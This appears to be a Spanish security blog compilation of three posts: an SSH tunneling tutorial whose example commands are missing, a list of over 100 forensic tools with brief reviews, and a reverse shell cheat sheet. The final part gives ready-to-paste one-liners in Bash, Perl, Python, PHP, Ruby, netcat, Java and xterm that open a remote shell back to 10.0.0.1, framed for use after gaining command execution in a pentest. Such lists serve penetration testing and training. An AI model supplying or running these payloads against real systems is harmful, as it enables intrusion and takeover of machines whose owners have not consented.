Introducción al uso de túneles SSH

Todos nos hemos encontrado en algún momento con que ese servicio al que queremos acceder está en un equipo inalcanzable desde nuestra red u otros problemas similares. Si disponemos de acceso SSH podemos solucionar fácilmente problemas de este tipo utilizando túneles SSH.

Planteamos un primer escenario, en el que tenemos un servidor de bases de datos al que podemos acceder por SSH, pero cuyo cortafuegos nos impide interactuar directamente con la base de datos (suponemos MySQL, que utiliza el puerto 3306).

a0

En este caso, para ganar acceso local a la base de datos, haremos que todo el tráfico que vaya al puerto local X se redirija a través de la conexión SSH al puerto local 3306 de la máquina a la que nos estamos conectando, utilizando el modificador -L:

 

Ahora, si tenemos una aplicación que utilice dicho servidor de base de datos, simplemente debemos indicarle que la base de datos se encuentra en nuestro equipo local, en el puerto X. Del mismo modo, si el equipo que tiene la base de datos es un tercer equipo, al que no tenemos acceso desde nuestro equipo local pero si desde el servidor al que nos conectamos a través de SSH, la orden será:

 

a1

También podemos querer justo lo contrario: que un servidor remoto pueda acceder a un recurso o servicio proporcionado por nuestro equipo o nuestra red local.

a2

En este caso, haremos que todo el tráfico que el servidor remoto envíe a su puerto Y se redirija hacia el puerto Z de nuestro equipo, utilizando el modificador -R:

 

Al igual que en el caso anterior, si el equipo que contiene el servicio que queremos conectar es uno distinto del nuestro, cambiaremos localhost por la IP de dicho equipo. Por ejemplo:

 

a3

Como extra, indicar que los servidores SSH ofrecen otra característica interesante, que consiste en crear un proxy de tipo SOCKS en el equipo local. Con esto hacemos que todas las peticiones que se envíen al puerto X del equipo local, se redirijan hacia el equipo remoto y se envíen a su destino como si las hubiera enviado el equipo remoto:

 

a4

Esto es de especial utilidad ya que existen multitud de aplicaciones cuyo tráfico puede ser reenviado a través de un proxy SOCKS. El mejor ejemplo de esto son los navegadores modernos, como Firefox, por ejemplo:

Screenshot from 2013-09-20 16:33:24

Esperro que les haya gustado este pequeño post.

Recopilación de Herramientas Forenses

La siguiente lista contiene mas de 100 herramientas y utilidades para Informática Forense:

Advanced Prefetch Analyser Hallan HayLee Lee los ficheros prefetch de Windows. Simplemente genial
Agent Ransack Mythicsoft Busca multiples ficheros usando Perl Regex. Lo he utilizado alguna vez con resultados muy efectivos.
analyzeMFT
David
Kovar
Permite realizar ‘Parses’ de MFT en sistemas NTFS con objeto de analizarlos con otras herramientas. Lo he utilizado en combinación con EnCase.
Audit Viewer Mandiant Visualizador utilizado en combinación con Memoryze.
Autopsy Brian Carrier Reconocida herramienta gráfica para entornos Linux con muy buen sabor y experiencia en entornos forense. Es otro clásico a utilizar.
Backtrack Backtrack Suite de ‘Penetration testing’ y seguridad para la realización de auditorias de seguridad. Muy muy bueno.
Bitpim
Bitpim
Analiza dispositivos móviles como LG, Sanyo, etc.
Caine University of Modena e Reggio Emilia Live CD, con numerosas utilidades y herramientas.
ChromeAnalysis forensic-software Analiza tarjetas SIM, direcciones, llamadas, etc. Herramienta que permite el análisis del historico de internet del famoso Google Chrome
ChromeCacheView
Nirsoft
Lee los ficheros de la cache de Google Chrome y visualiza en una lista lo que se encuentra almacenado.
DCode Digital Detective Convierte varios tipos de fechas y tiempos. Me ha venido bien para los distintos formatos en Unix.
Defraser Varios Detecta ficheros multimedia en espacios ‘unallocated’.
Digital Forensics Framework ArxSys Framework que permite el análisis de volumenes, sistemas de ficheros, aplicaciones de usuario, extracción de metadatos, ficheros borrados y ocultos.
DumpIt MoonSols Realiza un volcado de la memoria a fichero. Funciona en 32 y 64 y se puede ejecutar desde un USB
EDB Viewer Lepide Software Visualiza (pero no exporta) ficheros Outlook sin utilizar Exchange Server.
EnCase Guidance Potente herramienta y la mejor de su especie. De reconocido prestigio internacional. Vale para todo en el ámbito forense. Económicamente muy elevada pero muy recomendable. La suelo utilizar
Encrypted Disk Detector JAD
software
Comprueba discos físicos en busca de ficheros o volumenes cifrados con TrueCrypt, PGP, o Bitlocker.
Exif Reader Ryuuji Yoshimoto Extrae datos(metadatos) Exif de fotografias digitales.
FastCopy Shirouzu Hiroaki Uno de los mas rapidos en copiar y/o borrar, permite utilizar

SHA-1. Lo he utilizado para copia masiva de datos con muy buenos resultados

FAT32 Format Ridgecrop Habilita la capacidad de almacenamiento de discos formateados en FAT32
Foca Informatica64 Herramienta para fingerprinting e information gathering en trabajos de auditoría web. Lo utilizo para casi todo, especialmente el tema de metadatos
Forensic Image Viewer Sanderson Forensics Visor de varios formatos con posibilidad de extraer metadatos Exif o datos de geolocalización GPS. Lo suelo emplear bastante.
ForensicUserInfo Woanware Extrae información relacionada con los usuarios en Windows utilizando los ficheros SAM, SOFTWARE y SYSTEM hives también desencripta hashes LM/NT.
FoxAnalysis forensic-software Herramienta que permite el análisis del historico de internet de firefox.
FTK Imager AccessData Herramienta para adquirir, montar y analizar de forma básica imágenes de equipos. También es capaz de volcar la memoria a fichero. Muy completa
Gmail Parser Woanware Obtiene de ficheros HTML información que se ha ‘cacheado’ al utilizar ‘artefactos’ de Gmail
HashMyFiles Nirsoft Calcula hashes MD5 y SHA.
Highlighter Mandiant Examina ficheros log usando texto, gráficos o histogramas.
IECacheView Nirsoft Lee los ficheros de la cache de Internet Explorer y lo visualiza en una lista.
IECookiesView Nirsoft Extrae detalles de las cookies de Internet Explorer.
IEHistoryView Nirsoft Extrae las visitas recientes de las URL’s de Internet Explorer.
IEPassView Nirsoft Extrae las passwords de Internet Explorer en las versiones 4 a 8.
KaZAlyser Sanderson Forensics Extrae información del famoso programa P2P KAZA.
Live View CERT Permite al analista examinar y ‘arrancar’ imagenes en formato dd y VMware. También muy útil
LiveContactsView Nirsoft Visor que permite exportar los contactos y otros detalles de Windows Live Messenger.
Mail Viewer MiTeC Maravilloso visor de Outlook Express, Windows Mail, Windows Live Mail, Mozilla Thunderbird y ficheros basados en ficheros EML.
Memoryze Mandiant Adquiere y analiza imagenes RAM. Lo bueno es que permite analizar el fichero pagefile en sistemas vivos. Es algo engorroso, pero me encanta.
MFTview Sanderson Forensics Muestra y decodifica contenidos extraídos en ficheros MTF.
MobaLiveCD Mobatek Ejecuta un ISO linux desde windows sin tener que reiniciar. Basado en QEMU. Me ha venido bien en alguna ocasión para utilizar servidores FTP sin tener que tocar windows.
MobilEdit MobilEdit Recoge todos los datos posibles desde el teléfono móvil, a continuación, genera un amplio informe que se puede almacenar o imprimir. Soporta la mayoría de los móviles.
Motorola Tools “Flash & Backup” – actualiza el firmware y “M-Explorer” – administrador de archivos pequeños, fáciles de usar y gratis
MozillaCacheView
Nirsoft
Lee los ficheros de la cache de Mozilla y visualiza en una lista lo que se encuentra almacenado.
MozillaCookieView
Nirsoft
Extrae detalles de las cookies de Mozilla.
MozillaHistoryView
 Nirsoft
Herramienta que permite el análisis del historico de internet de Mozilla.
MyLastSearch Nirsoft Extrae búsquedas utilizadas en los buscadores mas populares (Google, Yahoo y MSN) también en redes sociales (Twitter, Facebook, MySpace)
Netdetector Niksun Analizador de red y detector de intrusiones
Netwitness Investigator Netwitness Analizador de paquetes de red. Increíblemente bueno.
NetworkMiner Netresec Programa de captura con el fin de detectar los sistemas operativos, las sesiones, los nombres de host, Puertos abiertos, etc.
Notepad ++ Notepad ++ Ya jamas volveré al notepad clásico después de utilizar este Notepad.
OperaCacheView Nirsoft Lee los ficheros de la cache de Opera y visualiza en una lista lo que se encuentra almacenado.
OperaPassView Nirsoft Desencripta las password del fichero ‘wand.dat’ de Opera.
Oxygen Oxygen Maravillosa herramienta comercial analiza todos los datos disponibles de un móvil. No puedo vivir si ella.
P2 eXplorer Paraben Realiza montajes virtuales de unidades y de imágenes. Casi toda la suite, por no decir toda es muy interesante y útil.
P2 Shuttle Free Paraben Suite maravillosa que permite montar remotamente discos, captura de tráfico de red, de RAM, utilidades de búsqueda etc.
Paraben Forensics Paraben Al igual que las anteriores, recoge todos los datos posibles desde el teléfono móvil, a continuación, genera un amplio informe que se puede almacenar o imprimir.
PasswordFox Nirsoft Extrae usuario y contraseñas almacenadas en Mozilla Firefox.
Process Monitor Microsoft Examina los procesos windows y permite hacer un seguimiento en tiempo real del registro y accesos a disco. Excelente y genial herramienta
PST Viewer Lepide Software Abre y visualiza (tampoco exporta) ficheros PST sin necesidad de Outlook.
PsTools Microsoft Maravillosa Suite de utilidades en modo comando. Siempre lo llevo encima.
recuva Piriform Has querido recuperar tus ficheros en Windows? Entonces esta es tu utilidad
Registry Decoder Digital Forensics Solutions Para la adquisición, análisis e informe del contenido del registro.
RegRipper Harlan Carvey Herramienta de correlación y extracción de evidencias forenses del registro. Todo un lujo del maestro de los maestros forenses. La utilizo día si y día también.
Regshot Regshot Realiza snapshots del registro con objeto de comparar y ver los cambios que se producen. Ideal para ver que hace un malware.
rstudio Es una suite de software de recuperación de datos que puede recuperar archivos de FAT (12-32), NTFS, NTFS 5, + HFS / HFS, FFS, UFS/UFS2 (* BSD, Solaris), ext2/ext3 (Linux
Shadow Explorer Shadow Explorer Visualiza y extrae ficheros de copias shadow. Lo utilizo en busca de malware. Muy bueno.
SIFT SANS VMware Appliance de SANS configurado con multiples herramientas para el análisis forense. Otra tool para llevar encima.
SkypeLogView Nirsoft Analizador del famoso Skype
Snort Snort El mas versatil y magnifico detector de intrusos. Me ha salvado muchas veces del apocalipsis
SQLite Manager Mrinal Kant, Tarakant Tripathy add-on en Firefox que permite ver contenidos de bases de datos SQLite. Otra de las joyas de la corona.
Strings Microsoft No puedo vivir sin el. Busca contenido de texto en ficheros.
Structred Storage Viewer MiTec Visualiza y maneja estructuras basadas en ficheros MS OLE. Lo sigo utilizando.
Suite Getdata getdata Magnifica suite de herramientas forenses para el montaje de discos virtuales, imágenes y recuperación y analisis de datos. Excelente conjunto de herramientas
Triana Tools Informatica64 Herramienta indispensable para el análisis forense de IPHONE del magnifico Juanito. Si la quieres te la proporcionan si vas a los cursos
Ubuntu guide How-To Geek Guia para usar con Unbuntu live con objeto de utilizar recuperación de particiones, ficheros, etc. Tengo mala memoria y suelo acudir alguna vez.
UFED Cellebrite Es el sistema más completo que combina la extracción lógica y física, la recuperación de clave de acceso y extracción del sistema de archivos de multiples dispositivos móviles. Es caro pero de lo mejor
Unhide
Security
By
default
Me encanta, muy útil en tiempos desesperados, mas si se trata de entornos Linux. Si quieres detectar procesos ‘raros’ este es tu software
USB Device Forensics Woanware Detalles de las unidades USB que se han conectado a un equipo.
USB Write Blocker DSi Habilita la posibilidad de escribir o bloquear puertos USB.
USBDeview Nirsoft Igual que la anterior.
UserAssist Didier Stevens Muestra una lista de programas que se han ejecutado incluyendo ultima ejecución , número de veces y fechas y horas. Muy bueno.
VHD Tool Microsoft Convierte discos e imágenes al formato VHD que se puede montar en Windows desde el administrador de discos. Me ha sacado de algún apuro
VideoTriage QCC Produce miniaturas de ficheros de video con objeto de apreciar imágenes o movimientos perdidos en la película. Excelente utilidad para mostrar evidencias.
Volatility Framework Volatile Systems Framework que se compone de una colección de herramientas para la extracción de ficheros RAM. Maravillosa herramienta para la detección de Malware. La tengo configurada en SIFT de SANS.
Web Historian Mandiant Magnifica herramienta que reúne las anteriores y permite de los navegadores mas utilizados obtener el historico de navegación.
Windows File Analyzer MiTeC Otra maravillosa suite para analizar ficheros thumbs.db, Prefetch, INFO2 y .lnk. Como os podeis imaginar lo empleo muchísimo.
Windows Forensic Environment Troy Larson Guia de Brett Shavers para crear y trabajar con un CD que arranque un Windows (Similar a windows PE).
Wireshark Wireshark Algo que decir de esta maravillosa herramienta?. Excepcional!!
Xplico xplico Entorno gráfico para poder entender y visualizar el contenido de ficheros PCAP. Muy útil!!
OSforensics Osforensics Una forma rapida de investigar el contenido de ficheros borrados, último acceso. Muy útil si tienes prisa y el equipo no es necesario aportarlo para una evidencia.
Responder HBgary Convierte la memoria RAM a disco y reconstruye todas las estructuras de datos subyacentes de hasta 6 gigabytes de RAM.
Liveview Liveview Es una herramienta basada en Java que crea una máquina virtual de VMware de una imagen de disco sin procesar (dd-style) o un disco físico. Muy buena!!

Reverse Shell – Cheat Sheet

Si tienes la suerte de encontrar una vulnerabilidad que te permita ejecución de comandos durante un pentest, poco después, probablemente quieras tener acceso a un shell interactivo. Si no es posible agregar una nueva cuenta de usuario/ SSH Key / .rhosts y loguearte, el siguiente paso es probable que sea tirando por detrás un reverse shell (shell inversa) o bindear un shell a un puerto TCP. Este post tratara sobre la primera opción.

Las opciones para la creación de un reverse shell están limitadas por los lenguajes de script instalados en el sistema que estemos testeando – aunque probablemente podría subir un binario también, si tienes el conocimiento adecuado para hacerlo.

Los ejemplos que se muestran en este post están hechos para sistemas Unix-like. Algunos de los ejemplos a continuación también deberían funcionar en MS Windows si se sustituye “/bin/sh -i” por “cmd.exe”

Cada uno de los siguientes métodos están destinados a ser de una sola linea para poder copiar y pegar (Copy&Paste). Como tal son lineas muy cortas, pero no de fácil lectura.

Bash

Algunas versiones de Bash pueden enviar un reverse shell (Este fue probado en Linux Mint 15)

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL

Aquí hay una versión abreviada, sin funciones especiales de una reverse shell en Perl:

perl -e ‘use Socket;$i=”10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’

Aquí otra shell reverse en perl:

Python

Este fue probado en Linux / Python 2.7

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

PHP

Este código asume que la conexión TCP utiliza descriptor de fichero 3. Esto funciono en un entorno de prueba. Si esto no funciona, intente: 4, 5, 6 …

php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’

Si quieres un archivo php para subir, puedes usar este reverse shell php mas funcional y robusto

Ruby

ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1”,1234).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’

NetCat

NetCat rara vez esta presente en los sistemas de producción, e incluso si esta hay varias versiones de NetCat, algunas de las cuales no son compatibles con la opción “-e”

nc -e /bin/sh 10.0.0.1 1234

Si la versión que esta en el sistema es la incorrecta, es posible que aun pueda obtener una shell inversa probando con este código:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

r = Runtime.getRuntime()
p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done”] as String[])
p.waitFor()

(Nota: Este script no fue probado)

xTerm

Una de las formas mas simples de obtener una reverse shell es una sesión de xTerm. El siguiente comando se debe ejecutar en el servidor. Intentara conectarse de nuevo a nuestro equipo (10.0.0.1 en el ejemplo) al puerto TCP 6001.

xterm -display 10.0.0.1:1

Para capturar la sesión xTErm entrante, iniciar x-server (:1 lo que escucha en el puerto TCP 6001) Una forma de hacerlo es con XNest (para ejecutarlo en nuestro sistema):

Xnest :1

Tendremos entonces que autorizar al objetivo para conectarse con nuestra computadora (este comando también se ejecutara en nuestro host):

xhost +targetip